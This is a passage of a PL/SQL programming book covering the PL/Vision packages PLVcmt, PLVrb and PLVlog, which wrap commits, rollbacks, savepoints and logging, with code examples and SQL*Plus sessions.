When I did issue a commit, I didn't pay much attention. There just wasn't much to it. And that is where the rationalization part of the explanation comes in. Even when I did realize that COMMIT and ROLLBACK were missing from my book (fairly late in the game, but in time to include them), I said to myself: they are so simple and easy to use. I don't really need to write about that aspect of PL/SQL. Everybody knows about them from the SQL language anyway.

Since those days, I have had good reason to take a second, longer look at the (deceptively) simple COMMIT statement and its use in PL/SQL programs. I found from work at an account in early 1996 that there can be much more to committing than meets the eye. I found, in particular, that by managing your commit processing from within a package you can greatly improve your flexibility in testing. You will also gain an additional, welcome level of control in your batch processing applications. In fact, coming out of my experience I would make the following recommendation:

NOTE: You should never make a direct call to COMMIT, ROLLBACK, or SAVEPOINT in your code. By doing so, you hard-code irreversible operations into your PL/SQL programs and limit your flexibility.

At this point, you must surely consider me a package fanatic. What is the big deal about the COMMIT statement? Why would you possibly want to go to the trouble of building a package just to do a commit? Well, certainly on the logical level, a COMMIT is a very big deal. It completes a transaction by saving information to the database. When you are writing applications to manage data in your Oracle7 Server, the commit is a central and critical step. It certainly is easy enough to do a commit. You just type the following statement in your program:

COMMIT;

No, executing a commit is easy. Determining when and how often to do the commit can be more challenging. Managing rollbacks is, furthermore, even more interesting. I found that a package gave me the flexibility I needed to meet their requirements. The PLVcmt package arose from this application's challenges.

20.1.1.1 Commit processing challenges

My customer, which I'll refer to as Bigdata Inc., needed to perform a complex data translation from one Oracle database instance to another. Approximately 20 million records in two tables were involved. It wasn't one of those all-or-nothing situations. If we could manage to get through a million records before some failure occurred, that was fine. All we had to do was come up with a mechanism for keeping track of which records had already been processed, so we didn't do them again. We used a "transfer indicator," which also led to a distributed transaction.

I've got to be honest with you: I have not spent many hours of my career (prior to Bigdata) working with this kind of volume of data. It sure puts a different spin on everything you do. When a simple SELECT could take hours to complete, you get very careful about the queries you execute. You no longer make casual statements (and take casual actions) like: "Let's just run this and see how it works. If it fails, we'll try it again." Three days later (or two weeks later), the job might crash from a "snapshot too old" error and you are back at square one -- if you didn't take precautions.

In fact, I quickly became intimate with a range of Oracle errors that earlier had been fairly academic to me: the -015NN series. Errors like:

ORA-01555 snapshot too old (rollback segment too small)
ORA-01562 failed to extend rollback segment

became a regular and unwelcome part of my life. Sure, we had big rollback segments, but one of our tables took up 2 gigabytes of storage in the database. We simply couldn't execute queries across the entire table at the same time that updates were taking place. I learned to "chunk down" by primary key ranges the rows I processed in each pass of my program. And I discovered the need to get flexible when it came to commits.

20.1.1.2 Committing every ? records

When I first started with the account, we agreed that committing every 10,000 records would be great. This is the kind of code we wrote to handle the situation:

commit_counter := 0
FOR original_rec IN original_cur
LOOP
   translate_data (original_rec);
   IF commit_counter >= 10000
   THEN
      COMMIT;
      commit_counter := 0;
   ELSE
      commit_counter := commit_counter + 1;
   END IF;
END LOOP;
COMMIT;

Of course, there were a number of different programs and each had this logic, along with a declaration of commit_counter, in each program. We soon found, however, that 10,000 was simply too high a number. We blew out rollback segments on a maddeningly occasional, but unpredictable basis. So we decided to change the number to 1,000 and off I went to each of the different programs removing that troublesome zero.

I felt dumb doing this, but of course we faced looming deadlines and had no time to reflect. The next complication I ran into was the need to run my script in "test mode:" perform the data translation for one or several records and then examine the accuracy of the data. In this situation, I found that I would rather not commit at all. Just run the program, use queries to examine the changes, and then issue a ROLLBACK. To do this, I went back into my program and commented-out the entire IF statement having to do with commits and keeping counts.

commit_counter := 0
FOR original_rec IN original_cur
LOOP
   translate_data (original_rec);
   /*
   IF commit_counter >= 1000
   THEN
      COMMIT;
      commit_counter := 0;
   ELSE
      commit_counter := commit_counter + 1;
   END IF;
   */
END LOOP;
COMMIT;

Once I got through several debug-test cycles, I reactivated my commit logic by removing the comment markers and recompiling.

20.1.1.3 What committed when?

It was then time to run the process for the full sweep of the data (in its manageable chunks). So I started the program and went home for the weekend. Saturday and Sunday were very pleasant, but I came back in on Monday and found that the job has stopped on Sunday afternoon. I had a heck of a time figuring out why it had stopped and how far it had gotten. I realized that it would have been very useful to have a log of each commit performed by the program. So I changed my basic loop (shown previously) as follows:

commit_counter := 0
FOR original_rec IN original_cur
LOOP
   translate_data (original_rec);
   IF commit_counter >= 1000
   THEN
      COMMIT;
      DBMS_OUTPUT.PUT_LINE
        ('Commit at' ||
         original_rec.keyvalue);
      commit_counter := 0;
   ELSE
      commit_counter :=
          commit_counter + 1;
   END IF;
END LOOP;
COMMIT;

Now, every time a commit occurred, the primary key value would be displayed. I set up this job to run and after an hour or two it died -- this time because my program's output had exceeded the DBMS_OUTPUT default buffer of 2K! This was getting very frustrating. Maybe I should expand the size of the buffer. Maybe I should be writing the commit log out to a table. Or maybe it was just time for a break.

With a moment to reflect, I saw the insanity of my way. Here I was putting out little fires, patching up this hole, then that hole in my logic. In the process, the code I had written to perform commits was actually getting more complicated than the actual application logic -- and, again, it was repeated in several different programs.

20.1.1.4 Getting back on track

Time out! I declared to myself and the rest of the technical team. I had committed several grievous errors, any one of which should have raised a red flag:

  1. I repeated the same code in multiple programs (declaration of commit_counter, IF statement, etc.). This should always be avoided by consolidating repetitive code behind a procedural interface.

  2. I edited my code in order to move from "test mode" to "production" status -- I inserted and then removed the comment markers. You want to avoid whenever possible these kinds of last-minute, "no problem" edits of code. Any time you change your code, you really should retest. Do you want to introduce another round of testing right after you thought you finished all your testing?

No, it was time to go back to square one, do some top-down design, and do it right...the second time around.

The first thing that caught my eye is that I could simply be smarter about how to determine when to perform my commit. Rather than use an independent counter, I could take advantage of the %ROWCOUNT cursor attribute to figure out how many rows I had fetched. Combined with use of the MOD function, I could change my loop to the following, more concise implementation:

FOR original_rec IN original_cur
LOOP
   translate_data (original_rec);
   IF MOD (original_cur%ROWCOUNT, 1000) = 0
   THEN
      COMMIT;
   END IF;
END LOOP;
COMMIT;

In this approach, whenever the number of rows fetched is a multiple of 1000, the MOD function returns 0 and COMMIT is executed. No local variable counter to declare and maintain -- when working within a cursor loop anyway. This was a satisfying discovery, but it didn't address some of my other concerns: turning off commits for test purposes, changing the number to use in the call to MOD, and so on. No, I decided to press on...and come up with a package-based solution, which turned into PLVcmt.

20.1.1.5 The impact of PLVcmt

Here is what my data translation loop looks like when I use a package-based approach:

PLVcmt.init_counter;
FOR original_rec IN original_cur
LOOP
   translate_data (original_rec);
   PLVcmt.increment_and_commit;
END LOOP;
PLVcmt.perform_commit;

In other words:

  1. I initialize my commit package values.

  2. I commit based on the counter inside the loop.

  3. Then after the loop terminates, I perform a final commit.

Notice that the commit_counter variable has disappeared. I don't want to deal with that. Also gone is the code to display the commit action and the IF statement. Nor can you find a call to COMMIT. It's all tucked away somewhere else. Ah! A sigh of relief. And -- here is where it gets really dreamy -- if I want to run the program and not perform any commits, I wish to be able to simply call another PLVcmt program to tell it not to commit, like this:

execute PLVcmt.turn_off;

Without making any changes to my program, the behavior of the PLVcmt package would change. Now that would be a wondrous thing, would it not? Let's see how we might go about building such a package, because at least in this case, my fantasies can be transformed fully into reality.

Now that you've seen the inspiration behind PLVcmt and how useful it can be, it's time for a formal introduction. These following sections explain these features of the PLVcmt package:

  • Using a package-based substitute for COMMIT

  • Performing incremental commits

  • Controlling commit processing

  • Logging commit activity

20.1.2 The COMMIT Substitute

PLVcmt offers two programs that can perform commits for you: perform_commit and increment_and_commit. The perform_commit program is a direct substitution for COMMIT. The increment_and_commit program is used in conjunction with loops in situations where you want to commit every n transactions.

The header for perform_commit is:

PROCEDURE perform_commit (context_in IN VARCHAR2 := NULL);

The single argument to perform_commit, context_in, is an optional string that you want to associate with this commit point. This string is then logged with the PLVlog package when a commit is performed through PLVcmt and the user has requested that commits be shown.

A direct substitution for a call to COMMIT is this statement:

PLVcmt.perform_commit;

The following call to this procedure associates the commit point with a calculation of net sales for the current year.

PLVcmt.perform_commit ('Net sales ' || TO_CHAR (v_curr_year));

This string is ignored unless you have executed the PLVcmt.log command to turn on logging of commits.

20.1.3 Performing Incremental Commits

When you use PLVcmt, it is very easy to write code that handles the following kind of requirement: "commit every 100 records." With PLVcmt, you don't have to declare a local counter, increment the counter, or call COMMIT. Instead, you simply make calls to the appropriate PLVcmt programs and concentrate on writing your transaction logic.

Three PLVcmt programs implement incremental commits: the init_counter, commit_after, and increment_and_commit procedures.

20.1.3.1 Setting the commit point

The first step in using PLVcmt to perform incremental commits is to tell the package how often you want a commit to occur. You do this with the commit_after procedure, whose header is shown below:

PROCEDURE commit_after (count_in IN INTEGER);

where count_in is the number of transactions you want to occur before a commit takes place. The default, initial value of the count is 1, which means that every time you call PLVcmt.increment_and_commit, a COMMIT is executed (unless you have turned off commit processing, which is discussed in the next section).

In the following call to commit_after, I request that a commit occur every 100 transactions.

PLVcmt.commit_after (100);

In this next call to commit_after, I set the commit point to 0.

PLVcmt.commit_after (0);

This effectively turns off the execution of a COMMIT from within the increment_and_commit program. With the "commit after" set to zero, a COMMIT occurs only when PLVcmt.perform_commit is called.

NOTE: The commit point established by the commit_after procedure does not in any way affect the behavior of the perform_commit procedure.

20.1.3.2 Initializing the counter

You have called PLVcmt.commit_after to tell PLVcmt that you want to commit every n records. Before you start running your code, you should initialize the PLVcmt counter to make sure that n transactions occur before a commit.

The header for init_counter is:

PROCEDURE init_counter;

When called, this program sets the internal PLVcmt counter to 0. The only way to modify this counter is with a call to init_counter or to increment_and_commit.

20.1.3.3 Increment and commit

When you want to commit every n records, you can simply insert a call to the increment_and_commit procedure in your code. The header is:

PROCEDURE increment_and_commit (context_in IN VARCHAR2 := NULL);

This program always increments the PLVcmt counter. If the counter exceeds the commit-after value set with a call to PLVcmt.commit_after, then the perform_commit procedure is called. Immediately after that, PLVcmt calls its own init_counter to reset the counter to 0.

20.1.4 Controlling Commit Processing

One of the big advantages to using PLVcmt instead of issuing direct calls to COMMIT is that you have placed a layer of code between your application and COMMIT. This layer gives you (through PL/Vision) the ability to modify commit processing behavior without changing your application code. This is very important because it allows you to stabilize your code, but still change the way it works for purposes of testing and debugging. Figure 20.1 shows this layer of code.

Figure 20.1: Code layer around COMMIT

By using PLVcmt you can, in fact, actually disable COMMITs in your application. I have found this feature useful when I am working with test data. My code changes the data, but then I have to change it back for the next test. If, however, I call PLVcmt commit programs instead of issuing direct calls to COMMIT, I can simply tell PLVcmt to not commit for the test run. I can then run my code, examine the results within my current session, and perform a rollback. No recovery scripts are necessary.

PLVcmt offers a standard PL/Vision toggle to control commit processing. This triumvirate of programs is:

PROCEDURE turn_on;
PROCEDURE turn_off;
FUNCTION committing RETURN BOOLEAN;

One procedure to turn on commit processing, another to turn it off, and a final function to indicate the current state of affairs (for completeness and politeness). All the two procedures do is set the value of a private Boolean variable, but by correctly applying that Boolean inside an IF statement in PLVcmt, the package's user gets to fine-tune the package's behavior.

20.1.5 Logging Commits

The commit action in an application is a critical step. It is, for one thing, irreversible. Once you commit, you cannot uncommit. It is often very useful to know when commits have taken place and the action that was taken around that commit point. I have found this to be most important when I am executing long-running processes with incremental commits. How far along am I in processing my ten million transactions? The PLVcmt logging facility gives you access to this information.

Whenever you call PLVcmt.perform_commit and PLVcmt.increment_and_commit, you can supply a string or context for that action. This string is ignored unless logging is turned on. If logging is enabled, PLVcmt calls the PLVlog facility to log your message. You can, within PLVlog, send this information to a database table, PL/SQL table, operating system file (with Release 2.3 of PL/SQL), or standard output (your screen).

PLVcmt offers a standard PL/Vision toggle to control commit processing. This triumvirate of programs is:

PROCEDURE log;
PROCEDURE nolog;
FUNCTION logging RETURN BOOLEAN;

NOTE: You do not have to turn on logging in PLVlog for the PLVcmt log to function properly. It will automatically turn on logging in PLVlog in order to write its commit-related information, and then reset the PLVlog status to its prior state.

20.1.6 Using PLVcmt

The following several examples show how to use these different elements of PLVcmt. First, we'll recast the previous anonymous block as a procedure so that it can be called from within a SQL*Plus session:

PROCEDURE translate_all
IS
   CURSOR original_cur IS SELECT ...;
BEGIN
   PLVcmt.init_counter;
   FOR original_rec IN original_cur
   LOOP
      translate_data (original_rec);
      PLVcmt.increment_and_commit
         (original_rec.keyvalue);
   END LOOP;
   PLVcmt.perform_commit;
END translate_all;

Again, notice that by using PLVcmt I do not have to declare or manage a counter. By default, this program commits the data translation for each record fetched by the original data cursor and then commits on the way out. Whenever I increment inside the loop, I also pass the key value to PLVcmt for display -- when so specified. Now I can call this program in conjunction with other PLVcmt modules.

In the following SQL*Plus session, I specify that a commit should take place every 1,000 records:

SQL> exec PLVcmt.commit_after (1000)
SQL> exec translate_all

In this next SQL*Plus session, I request a display of the commits as they occur and then sit back and watch the results:

SQL> exec PLVcmt.commit_after (1000)
SQL> exec PLVcmt.log
SQL> exec translate_all
commit ON IL123457
commit ON KY000566
commit ON NY121249

The reason PLVcmt indicates that commit is on is that I could run this same session, but avoid doing any commits. However, I might still want to see the output to verify correctness. Here we go:

SQL> exec PLVcmt.turn_off
SQL> exec PLVcmt.log
SQL> exec translate_all
commit OFF IL123457
commit OFF KY000566
commit OFF NY121249

Notice that I can achieve this change in behavior of my application without making any changes whatsoever to the application code itself. All the logic and complexity is hidden behind the interface of the package.

Since the writing of my first book, I have fallen in with love (sure, go ahead, laugh at me!) with these kinds of toggles and tightly controlled windows into packages. I can write my basic, useful package and then pack into it all kinds of flexibility, controlled by the user of the package. This flexibility makes my package more useful in a variety of circumstances. This improved usability increases the reusability of my own code and the code of others who have begun to use PL/Vision.

Special Notes on PLVcmt

One idea for an enhancement: Allow the developer to specify a commit not simply when a counter is reached, but also when a Boolean expression evaluates to TRUE. For example, you might want to commit when the balance in an account exceeds $1000. To do this, you might consider overloading the increment_and_commit procedure to accept a Boolean parameter -- or create an additional program entirely.

Previous: 19.6 PLVfk: Generic Foreign Key Lookups | Advanced Oracle PL/SQL Programming with Packages | Next: 20.2 PLVrb: Performing Rollbacks
19.6 PLVfk: Generic Foreign Key Lookups | Book Index | 20.2 PLVrb: Performing Rollbacks
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 20] 20.2 PLVrb: Performing Rollbacks

Advanced Oracle PL/SQL Programming with Packages

Advanced Oracle PL/SQL Programming with PackagesSearch this book

20.2 PLVrb: Performing Rollbacks

The PLVrb PL/Vision RollBack package provides a programmatic interface to rollback activity in PL/SQL. With PLVrb, you no longer issue explicit ROLLBACK and SAVEPOINT commands. Instead, you call the appropriate PLVrb module. This layer of code gives you the ability to change transaction-level behavior at runtime. With PLVrb, you can even execute soft-coded savepoints, a feat usually considered impossible in PL/SQL.

These different elements of the PLVrb package are explained in the following sections.

20.2.1 Controlling Rollbacks

One of the big advantages to using PLVrb instead of direct calls to ROLLBACK is that you have placed a layer of code between your application and the ROLLBACK. This layer gives you (through PL/Vision) the ability to modify rollback processing behavior without changing your application code. This is very important because it allows you to stabilize your code, but still change the way it works for purposes of testing and debugging.

PLVrb offers a standard PL/Vision toggle to control rollback processing. This triumvirate of programs is:

PROCEDURE turn_on;
PROCEDURE turn_off;
FUNCTION rolling_back RETURN BOOLEAN;

All that the first two procedures do is set the value of a private Boolean variable, but by correctly applying that Boolean inside an IF statement in PLVrb, the package's user gets to fine-tune the package's behavior.

20.2.2 Logging Rollbacks

The rollback action in an application is a critical step. It is, for one thing, irreversible. Once you rollback, you cannot un-rollback. It is often very useful to know when rollbacks have taken place and the action that was taken around that rollback point. I have found this to be most important when I am executing long-running processes. Have I issued any rollbacks? If so, what was the cause? The PLVrb logging facility gives me the answers to these types of questions.

Whenever you call PLVrb.perform_rollback, PLVrb.rb_to_last, and PLVrb.rollback_to, you can supply a string or context for that action. This string is ignored unless logging is turned on. If logging is enabled, PLVrb calls the PLVlog facility to log your message. You can, within PLVlog, send this information to a database table, PL/SQL table, operating system file (with Release 2.3 of PL/SQL), or standard output (your screen).

PLVrb offers a standard PL/Vision toggle to control the logging of rollback processing. This triumvirate of programs is:

PROCEDURE log;
PROCEDURE nolog;
FUNCTION logging RETURN BOOLEAN;

NOTE: You do not have to turn on logging in PLVlog for the PLVrb log to function properly. It automatically turns on logging in PLVlog in order to write its rollback-related information, and then reset the PLVlog status to its prior state.

20.2.3 Setting Savepoints

When you set a savepoint in PL/SQL, you give yourself a spot in your code to which you can rollback your changes. This is useful when you need to discard some, but not all, of your uncommitted changes. The usual situation you face with PL/SQL is that you must hard code the names of savepoints in your code. A savepoint is, in fact, an undeclared identifier. You don't (and cannot) declare a savepoint in your declaration section, as you would with an exception. Instead, you simply provide an identifier after the keyword SAVEPOINT in your code and that savepoint is established. Then, when you issue a ROLLBACK, you must also hard code that same identifier value in the ROLLBACK.

In the following block of code, I set a savepoint and then in the exception section rollback to that same savepoint.

BEGIN
   SAVEPOINT start_trans;
   INSERT INTO emp ...;
   DELETE FROM emp_history ... ;
EXCEPTION
   WHEN OTHERS
   THEN
      ROLLBACK TO start_trans;
END;

I cannot, on the other hand, write code like this:

PACKAGE empsav
IS
   insert_point VARCHAR2(10) := insert ;
   delete_point VARCHAR2(10) := delete ;
END;

BEGIN
   SAVEPOINT empsav.insert_point;
   INSERT INTO emp ... ;
   SAVEPOINT empsav.delete_point;
   DELETE FROM emp_history ... ;
EXCEPTION
   WHEN DUP_VAL_ON_INDEX
   THEN
      ROLLBACK TO empsav.insert_point;

   WHEN empsav.still_active
   THEN
      ROLLBACK TO empsav.delete_point;
END;

PL/SQL will not, absolutely not, evaluate the packaged contents into a literal and then use that literal to direct rollback activity. Instead, the code will fail to compile as shown:

SAVEPOINT empsav.insert_point;
                *
ERROR at line 2:
ORA-06550: line 2, column 20:
PLS-00103: Encountered the symbol "." when expecting one of the
   following:

One consequence of this hard-coding is that you must know the name of the savepoint at compile time, not at runtime. In most situations, this might be fine. In other programs, this can be a significant obstacle. PLVlog, for example, offers a generic logging mechanism. When logging to a database table, you must often perform a ROLLBACK before an INSERT to the log table and then follow up with the setting of a SAVEPOINT. And it really needs to do these steps for a dynamically determined savepoint.

This dynamic setting of savepoints (and rolling back to those savepoints) is provided by the PLVrb package. To set a savepoint whose name is determined at runtime, call the set_savepoint procedure. The header for this program is:

   PROCEDURE set_savepoint (sp_in IN VARCHAR2);

where sp_in is the savepoint name. The sp_in argument must be a valid PL/SQL identifier (starts with a letter, is composed of letters, digits, $, #, and the underscore character, and must be no longer than 30 characters in length).

Every time you set a savepoint, the procedure takes the following actions:

  1. Set the savepoint with a call to PLVdyn.plsql. The set_savepoint programs constructs the SAVEPOINT command and executes it dynamically.

  2. Sets the last savepoint value to the provided savepoint.

  3. Pushes the savepoint onto the stack of savepoints maintained by PLVrb using the PLVstk package.

Instead of issuing statements like this:

SAVEPOINT start_trans;

you can now pass the name of your savepoint to PLVrb for setting:

PLVrb.set_savepoint ('start_trans');

or:

PLVrb.set_savepoint (v_starttrans_sp);

20.2.4 Performing Rollbacks

PLVrb offers three programs to perform rollbacks: perform_rollback, rollback_to, and rb_to_last. The headers for these programs are:

PROCEDURE perform_rollback
   (context_in IN VARCHAR2 := NULL);

PROCEDURE rollback_to
   (sp_in IN VARCHAR2,
    context_in IN VARCHAR2 := NULL);

PROCEDURE rb_to_last
   (context_in IN VARCHAR2 := NULL);

In all three procedures, the context_in argument is a string that will be logged using PLVlog if you have called PLVrb.log to turn on logging.

When you call perform_rollback, a full, unqualified rollback is performed; no savepoint is used, and all uncommitted changes are rolled back.

When you call rollback_to, PLVrb issues a ROLLBACK to the specified savepoint. Besides issuing the savepoint, PLVrb also removes from the savepoint stack any savepoints that came after the savepoint you specified. If the savepoint argument is not in the PLVrb savepoint stack, the stack is emptied.

When you call rb_to_lst, PLVrb issues a ROLLBACK to the savepoint specified in the most recent call to set_savepoint.

Special Notes on PLVrb

If you want to use PLVrb, you should also use PLVcmt. This commit package maintains the savepoint stack of PLVrb. If you use PLVrb to set savepoints and then issue explicit COMMITS in your programs, the savepoint stack will be out of sync with your transaction.

Previous: 20.1 PLVcmt: Enhancing Commit Processing | Advanced Oracle PL/SQL Programming with Packages | Next: 21. PLVlog and PLVtrc: Logging and Tracing
20.1 PLVcmt: Enhancing Commit Processing | Book Index | 21. PLVlog and PLVtrc: Logging and Tracing
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 21] PLVlog and PLVtrc: Logging and Tracing

Advanced Oracle PL/SQL Programming with Packages

Advanced Oracle PL/SQL Programming with PackagesSearch this book
Previous: 20.2 PLVrb: Performing Rollbacks Chapter 21 Next: 21.2 PLVtrc: Tracing Execution of PL/SQL Programs

21. PLVlog and PLVtrc: Logging and Tracing

Contents:
PLVlog: Logging Activity in PL/SQL Programs
PLVtrc: Tracing Execution of PL/SQL Programs

PL/Vision provides two packages to provide execution tracing and logging from within PL/SQL programs.

  • Use the PLVlog package to write information to a log.

  • Use the PLVtrc package to trace the execution of your PL/SQL programs.

Both of these packages are used by other PL/Vision packages, PLVlog in particular. For example, when you handle an exception with a PLVexc handler like rec_continue, it, in turn, calls PLVlog to log the error.

21.1 PLVlog: Logging Activity in PL/SQL Programs

The PLVlog (PL/Vision LOGging) package offers a powerful, generic logging mechanism for PL/SQL-based applications. The need to log activity arises in a number of different settings, including logging errors, tracing execution, and auditing activity. Rather than build this functionality over and over again, you can use PLVlog to handle many different circumstances.

The central features of PLVlog include:

  • Writing of log information to one of several different repositories, including a database table, a PL/SQL table, or an operating system file (for PL/SQL Release 2.3 and above).

  • Simultaneous, optional display of logged information.

  • Toggle processing of log activity. You can decide to turn off logging at any time without having to change your own application code.

  • High-level programs to manage the log. You can display contents of the log with a single program call, and transfer the log contents from a PL/SQL table to a database table.

  • Automated rollback and savepoint activity. The package provides the ability to preserve database-logged information even if the surrounding transaction is rolled back.

The following sections show how to use each of the different elements of PLVlog.

21.1.1 Controlling the Log Action

PLVlog writes information to the log only when it is turned on. The package provides a standard PL/Vision toggle to control the action of the logging mechanism. The programs comprising this toggle are:

PROCEDURE turn_on;
PROCEDURE turn_off;
FUNCTION logging RETURN BOOLEAN;

One procedure to turn on logging, another to turn it off, and a final function to indicate the current state of affairs (for completeness and politeness). All the two procedures do is set the value of a private Boolean variable, but by correctly applying that Boolean inside an IF statement in PLVlog, the package's user gets to fine-tune the package's behavior.

Why would you turn off logging? You might be executing a production program for a one-time batch of millions of records. If you use the normal logging built into your program, you end up with millions of lines in the log. You can't afford the performance or disk overhead, and you don't really care about the log information for this run. So instead of modifying your program (supposed it is called analyze_sales), you simply turn off logging as shown below:

SQL> exec PLVlog.turn_off;
SQL> exec analyze_sales;

21.1.2 Writing to the Log

You use the put_line procedure to write a line to the log. There are two overloaded versions of put_line; the headers are shown below:

PROCEDURE put_line
   (context_in IN VARCHAR2,
    code_in IN INTEGER,
    string_in IN VARCHAR2 := NULL,
    create_by_in IN VARCHAR2 := USER,
    rb_to_in IN VARCHAR2 := c_default,
    override_in IN BOOLEAN := FALSE);

PROCEDURE put_line
   (string_in IN VARCHAR2,
    rb_to_in IN VARCHAR2 := c_default,
    override_in IN BOOLEAN := FALSE);

The second version of put_line -- the one with only three arguments -- simply calls the first version with null values for the other arguments. It is provided for convenience, when you simply want to log a string of text and not bother with all the other values. The full set of arguments to put_line is explained in the following:

context_in

The context from which the log was called, which usually means the program unit in which put_line was called. You must supply a context.

code_in

A numeric code to be stored with the text message. This would usually be the error number, but it could be anything. You must supply an integer code.

string_in

The text to be stored in the log. It can be up to 2000 bytes in length.

create_by_in

The name of the user or account that created the line in the log. The default is provided by the builtin USER function.

rb_to_in

The name of the savepoint to which you want a rollback to occur. The default value is the currently defined default savepoint in PLVlog. This argument is used when you have called do_rollback; see Section 21.1.5, "Rolling Back with PLVlog" for more information on this argument.

override_in

If you pass TRUE for this argument, then the string is written to the log even if logging is otherwise turned off.

If you have turned off logging with a call to PLVlog.turn_off, a call to put_line will not add any information to the log (unless you override that state of affairs).

PLVlog.put_line is called from several different PL/Vision packages; I'll use those programs as examples so you can see how and why put_line has so many arguments.

21.1.2.1 Using put_line

  1. In the PLVcmt package, you can ask that commits be recorded to the log by calling the PLVcmt.log procedure. When logging is turned on, the put_line program is called at commit time, as shown below:

    IF logging
THEN
   PLVlog.put_line
      ('PLVcmt', 0,
       v_message || ' ' || context_in,
       PLVlog.c_noaction,
       TRUE);
END IF;

    I provide the context, a generic PLVcmt, an INTEGER code of 0 to indicate success, and the message constructed from various components. Since I am committing, I do not want any rollback activity to occur, so I request "no action" for the savepoint. Finally, I want to record this information even if the user has turned off logging, so I pass TRUE to override the current setting.

  2. The PLVexc exception-handling package uses PLVlog to record errors in one's application. In the code shown below, PLVlog.put_line is only called when the user has requested that an error be recorded. So I again override the current log setting to make sure that this information is written to the log. I also pass in the context, error code and error message associated with the exception. Finally, I do not provide a value for the savepoint argument; I simply rely on the default handling. If the user wants a special rollback action, she provides direction with calls to the appropriate PLVlog programs directly.

    IF recording_exception (handle_action_in)
THEN
   PLVlog.put_line
      (context_in, err_code_in, string_in,
       override_in => TRUE);
END IF;

  3. Sometimes I simply want to take advantage of the PLVlog architecture to allow me to write a string out to a log without having to fuss with all those arguments. In the following code fragment, I request that output be directed to a database table and then execute a series of procedures, documenting their completion with calls to PLVlog.put_line:

    BEGIN
   PLVlog.to_dbtab;

   calculate_gross_sales (1995, sales$);
   PLVlog.put_line ('gross sales', sales$);

   calculate_office_expenses (1995, offexp$);
   PLVlog.put_line ('office expenses', offexp$);

   calculate_empl_comp(1995, emplcomp$);
   PLVlog.put_line ('employee compensation', emplcomp$);

   PLVcmt.perform_commit;
END;

You can use all the arguments or only the minimum. Either way, the put_line logging mechanism should come in very handy. You could even use PLVlog as a lazy way to write information to a PL/SQL table!

21.1.3 Selecting the Log Type

The PLVlog package was designed to offer maximum flexibility for logging. The usual logging mechanism requires that you write a record to a database table. This is certainly supported by PLVlog, but you can also select a different type of log, as appropriate to your needs. The log types supported by PLVlog are: database table, PL/SQL table, operating system file, and standard output (your monitor). These different types and how to work with them are explained in the following sections. PLVlog does provide a single program, sendto, that you can use to set the log type. The header for sendto is:

PROCEDURE sendto (type_in IN VARCHAR2, file_in IN VARCHAR2 := NULL);

where type_in is the type of log and file_in is the name of the operating system file (relevant only if you are setting the log type to PLV.file). The type_in must be one of the repository constants defined in the PLV package: PLV.dbtab, PLV.pstab, PLV.file, or PLV.stdout.

In addition to this generic type-setting procedure, PLVlog offers a procedure that specifically sets the log type. So to set the log type to a database table, you can enter either of these commands:

SQL> exec PLVlog.sendto (PLV.dbtab)

or:

SQL> exec PLVlog.to_dbtab

To set the log type to a PL/SQL table, you can enter either of these commands:

SQL> exec PLVlog.sendto (PLV.pstab)

or:

SQL> exec PLVlog.to_pstab

To set the log type to the mylog.txt operating system file, you can enter either of these commands:

SQL> exec PLVlog.sendto (PLV.file, 'mylog.txt')

or:

SQL> exec PLVlog.to_file ('mylog.txt')

Finally, to set the log type to standard output, you can enter either of these commands:

SQL> exec PLVlog.sendto (PLV.stdout)

or:

SQL> exec PLVlog.to_stdout

When you are working with database or PL/SQL table logs, there are some other programs in PLVlog that you may find useful, as I describe below.

21.1.3.1 Defining the database log table

If you do decide to write the log to a database table, you can either use the default log table or specify a different table. When PLVlog performs an insert to the log, it uses dynamic SQL (PLVdyn), so it can construct the INSERT statement from your inputs. This approach allows you to use PLVlog for different purposes. You can even use PLVlog within the same application and Oracle connection to write to different logs!

PL/Vision provides a default log table, whose structure is shown below:

CREATE TABLE PLV_log
   (context VARCHAR2(100),
    code INTEGER,
    text VARCHAR2(2000),
    create_ts DATE,
    create_by VARCHAR2(100));

where context is the context in which the log entry was made. This might be a program name or a section within a program or an action. The code column is a numeric code. This could be an error code or a number in use in the application. The text column contains a (possibly) long line of text. The create_ts and create_by columns provide a user and date/time audit for the creation of the log entry.

PLVlog provides the set_dbtab procedure to change the name of the table and/or the names of each of the columns in the log table. The header for set_dbtab is:

PROCEDURE set_dbtab
   (table_in IN VARCHAR2 := 'PLV_log',
    context_col_in IN VARCHAR2 := 'context',
    code_col_in IN VARCHAR2 := 'code',
    text_col_in IN VARCHAR2 := 'text',
    create_ts_col_in IN VARCHAR2 := 'create_ts',
    create_by_col_in IN VARCHAR2 := 'create_by');

As you can see, set_dbtab provides you with the opportunity to override the default table and column names. Here are two examples of applying set_dbtab to different application circumstances:

  1. Change the name of the table used for logging; the names of the columns remain the default.

    PLVlog.set_dbtab ('pnl_log');

  2. Change the name of the table and its columns used for logging.

    PLVlog.set_dbtab
  ('pnl_log', 'progname', 'err_code',
   'err_text', 'inserted_on', 'inserted_by');

You can use set_dbtab to change some or all of these names, but remember that the table you select for logging must have at least these five columns with the same datatypes as the default table.

NOTE: If you use a database table for your log, remember that you must also execute a commit in your session to save the log. In addition, you often need to issue rollbacks so that transactions in error are not saved along with the log.

21.1.3.2 Closing the file

If you are writing to an operating system file, you need to close that file before you can see log information written to that repository. To close the PLVlog file, use the fclose procedure:

PROCEDURE fclose;

You do not have to specify the file name; that information has been stored inside the package.

21.1.4 Managing a PL/SQL Table Log

PLVlog lets you avoid the hassles of writing to a database log during execution of your application by writing instead to a PL/SQL table. This data structure is memory-resident and owned by the session, so you don't have to deal with commits and rollbacks. Just run your application and then either display the log or copy the contents of the log to a database table with the ps2db procedure (explained below).

To set the log repository to the PL/SQL table, execute either:

PLVlog.to_pstab;

or:

PLVlog.sendto (PLV.pstab);

Then, whenever a line is written to the log, it is deposited in the next available row in the PL/SQL table. The log always starts at row 1 and moves sequentially forward.

The PL/SQL table that stores the log information is a table of 2,000-byte strings, defined as follows:

